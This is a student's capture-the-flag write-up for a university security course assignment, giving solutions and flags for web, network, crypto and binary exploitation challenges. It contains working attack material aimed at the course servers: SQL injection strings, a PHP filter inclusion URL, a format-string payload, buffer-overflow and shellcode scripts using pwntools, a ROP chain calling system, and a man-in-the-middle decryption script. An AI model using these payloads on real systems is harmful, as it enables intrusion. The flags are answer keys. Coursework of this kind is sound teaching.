# CS2107 Assignment 2 # Easy ## Nothing To See Here, Really? By inspecting page source we can see that there is a page `/admin` in comments that is yet to be cleaned up. Add to url to get the flag. Flag: `CS2107{cl3an_up_y0ur_c0mm3nt5}` ## Linux Access Control By inspecting the image we see that it is `111 100 011` which translate to 743. Flag: `CS2107{743}` ## Insecure Network Communication Check the wireshark file for the 200 OK HTTP packet. Copy the data as plain text and we get the flag. Flag: `CS2107{Why_Ar3_y0U_5pY1n9_M3_3vAahl78dA}` ## Certificate's Content Run openssl x509 -text -in cert.pem and get the email. Flag: `CS2107{cs2107-assignment2@nus.edu.sg}` ## What Powers Me? Open inspect element and then go under the network tab. Refresh luminus and you will see that it is X-Powered-By: ASP.NET Flag: `CS2107{ASP.NET}` ## Host Reconnaissance Connect to the server given. Run nmap on it and we will notice that port 8080 is open. Connect again to the given server but now add `:8080` to the back of the url. Flag: `CS2107{D-Don't look at me...BAKA!}` # Medium ## Mallory in Action Since we are the man in the middle we can just completely change the things that are given to Alice and Bob. Hence in both cases we will send to Bob and Alice that the $g^a\,mod\,n$ from each other is $g^2\,mod\,n$. That would mean that the final "shared" key for Alice is $g^{2a}\,mod\,n$ and the final "shared" key for Bob is $g^{2b}\,mod\,n$. Simply decrypt them by using the given decrypt function. Flag: `CS2107{M@l1c1oU5_p3opl3_@re_DAnGer0uS_AR3n't_Th3Y}` ```python= import json from hashlib import sha512 from Crypto.Util.number import getPrime, getRandomRange, getRandomNBitInteger, long_to_bytes from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES def decrypt(iv: str, ct: str, key: int): iv = bytes.fromhex(iv); ct = bytes.fromhex(ct) key = long_to_bytes(key) key = sha512(key).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) ct = unpad(cipher.decrypt(ct), 16) return ct g = 8465500033843806001644449118519235595250507438721647513288852609786150355874444987355852952117274544432304655048733115406651279272023888547514323661173472 n = 10600741346582745823618380366741849898185001169819561943214309032556536965537570587300243770664591950031677176118339587973979768297805947220105975860572737 g_a = 7642142189099528758301073510131745308939308340803443580198786390245175601429670834824457739580820799234381776013005972922144053881027816037531479890115114 fake_g2a = pow(g,2,n) json = '{"g": ' + str(g) + ', "n": '+ str(n) +', "pub": '+str(fake_g2a)+'}' print(json) g_b = 5726632524479804952539060422029633815447076523485552940422516834041462058269967877475610960108807153680765783737607034684876058066198685610519617936983024 # From Alice # {"iv": "39ddd4c5f2ccee4cda7ba77f8c242210", "ciphertext": "87e1824437ef7ef79eaa356508a9626f0e308283c45f6dd4ca44333df3510b5c"} # From Bob: # {"iv": "9e46bfd7b17fd29595ecc96bf5a65134", "ciphertext": "f0155a4477cf27e0eb93ddd1684b0cf6175d658476082fbdd407d3790689d568"} ca = "87e1824437ef7ef79eaa356508a9626f0e308283c45f6dd4ca44333df3510b5c" iva = "39ddd4c5f2ccee4cda7ba77f8c242210" cb = "f0155a4477cf27e0eb93ddd1684b0cf6175d658476082fbdd407d3790689d568" ivb = "9e46bfd7b17fd29595ecc96bf5a65134" key_a = pow(g_a,2,n) key_b = pow(g_b,2,n) print(decrypt(iva, ca, key_a)) print(decrypt(ivb,cb,key_b)) ``` ## The Prequel: I Dislike Some Keyword Ez game ```sql admin';-- ``` Flag: `CS2107{b1ackl15t5_ar3_n0t_100%_3ff3ct1v3}` ## Please Join the SQLi Games Level 1: `admin';--` Level 2: `admin';--` Level 3: `admin';--` Mad POGGERZ. Flag: `CS2107{4R3_w3_47_7h3_3nd_8uN57k5se2Kkv8hL}` ## File Inclusion Use the link below to access the file. Google is my best friend. `http://cs2107-ctfd-i.comp.nus.edu.sg:4004/?f=php://filter/convert.base64-encode/resource=secret.php` Use a base 64 decoder to obtain the data in human readable format. Flag: `CS2107{h1D3_m3_83773R_N3x7_71m3_Ew6nxLYDTaSssLAf}` ## ret2win Open the compiled executable with gdb. disas win to obtain the address of win. Address: `0x401146` Simply overflow the buffer and place the address of the win function in the return value of main. Using gdb we can see that the return register is stored 40 bytes away from the start of the buffer. Hence we will fill the buffer with anything for the first 40 bytes and then put in the address of win as the next 8 bytes. This will make it such that main will return win, getting the required flag. command ran: `python3 -c 'print("\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x46\x11\x40\x00\x00\x00\x00\x00")' | nc cs2107-ctfd-i.comp.nus.edu.sg 4005` Flag: `CS2107{EzpZ_ret_234567_w1n}` ## Format String Theory Code to inject:`%6$n` %6 gives the address of the 6th variable which I think is perm. $n then writes to this value this permission value and hence getting us the flag. Flag: `CS2107{How_A6oUt_f0rm@7_qU4nTum_tHE0rY}` ## Loophole The general idea is quite simple in the sense that the stack is executable. So I simply have to arrange the shell code in a certain manner where they interleave with one another and then overflow the buffer to return to the buffer and run the buffer. Issues faced was getting to run the code interactively as I needed to get the location of the buffer to jump to. I could not do it through usage of sockets or piping. As I cannot figure out how to regex it, had to input the address manually. ```python= from pwn import * p = remote("cs2107-ctfd-i.comp.nus.edu.sg", "4007") buff = p.recv() print(buff) b1 = chr(int(input("1"))) b2 = chr(int(input("2"))) b3 = chr(int(input("3"))) b4 = chr(int(input("4"))) b5 = chr(int(input("5"))) b6 = chr(int(input("6"))) payload1 = "\xFF\x48\xD1\x96\xd0\x97\x48\xdb\x54\x99\x57\x5e\x3b\x05\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x3f\x00\x28\x00\x40\x00\x40\x00\x5c\x00\x67\x67\x67\x67" + b6 + b4 + b2 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload2 = "\xc0\xbb\x9d\x91\x8c\xff\xf7\x53\x5f\x52\x54\xb0\x0f\x00\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b5 + b3 + b1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" p.sendline((payload1 + payload2)) p.interactive() ``` Flag: `CS2107{d0n7_l3t_ThE_l00ooP_m3ss_W1TH_U}` ## The End Each character array is 16 bytes long. This means that if we fill up all 16 bytes of the character array, there will not be a null byte. Each integer is initially already set to null since 0 has the character byte equivalence of null byte. I used the integer number 286331153 as it is the hex value 11111111 so there will definitely be no null bytes in the array. Looking at the Struct a person is 32bytes, hence to overflow I will need to copy the details of two people. Then on the third consecutive person will hold the injection to cat flag.txt. Flag: `CS2107{tH3_End_7o_ThE_3ND_1s_Th3_Be91nNInG}` # Hard ## ImpROPer code Using pwntools and watching youtube video, create a rop which calls system with the argument IlikeTOnameVARIABLESlikeTHIS. For whatever reason it will not work unless I add the puts call before it. Flag: `CS2107{pR0P3rLy_dr0P_7H4t_1mPRoP3rnE5s}` ```python= from pwn import * from pprint import pprint elf = ELF("./improper") context.arch = 'amd64' p = remote("cs2107-ctfd-i.comp.nus.edu.sg", 4009) rop = ROP(elf) rop.call(elf.symbols['puts'], [elf.got["puts"]]) rop.call(elf.symbols['system'], [elf.symbols['IlikeTOnameVARIABLESlikeTHIS']]) # rop.call(elf.symbols['puts'], [elf.got["puts"]]) rop.call(elf.symbols["main"]) offset = 152 start = p.recvuntil(":PPPP\n") print(start) payload = [ b"A"*offset, rop.chain() ] payload = b"".join(payload) p.sendline(payload) print("sent payload") # val = p.recvuntil("\n") # print(val) p.interactive() ``` ## The Sequel We clearly need to union here since we are trying to access other tables. However union only works if we have the same data type and the same number of columns. These columns also need to align nicely with the datatype. To check the number of columns we can just use `'union select null, null, null, null;--` We simply vary the number of nulls until we no longer get an error. This will give the number of columns to be matched which in this case is 4. Then we just guess and check the number of columns in the users table which apparently in this case is 3. Hence the injection below works. `'union select *,null from users;--` Flag: `CS2107{un10n_5313ct_4tt4ck5_4r3_n0t_th4t_h4rd}` ## Genie Firstly we can begin overflowing the buffer given to us by setting a negative number as the input number as it is less than 48. Upon conversion to an unsigned integer, this number will then be very big and allow for us to enter more than 48 values. We then need to set the pointer of release to be the address of function execute_genie - 1. The reason we can do the -1 is firstly to pass the conditional in the code and secondly is because there is a no operation right before the function which means that no operation will run at that line and the next line will be run instead. Values of 1-48 does not matter. 49 = 168 50 = 19 51 = 64 52 = 0 Flag: `CS2107{y0u_4r3_the_rEAL_gEn1e}`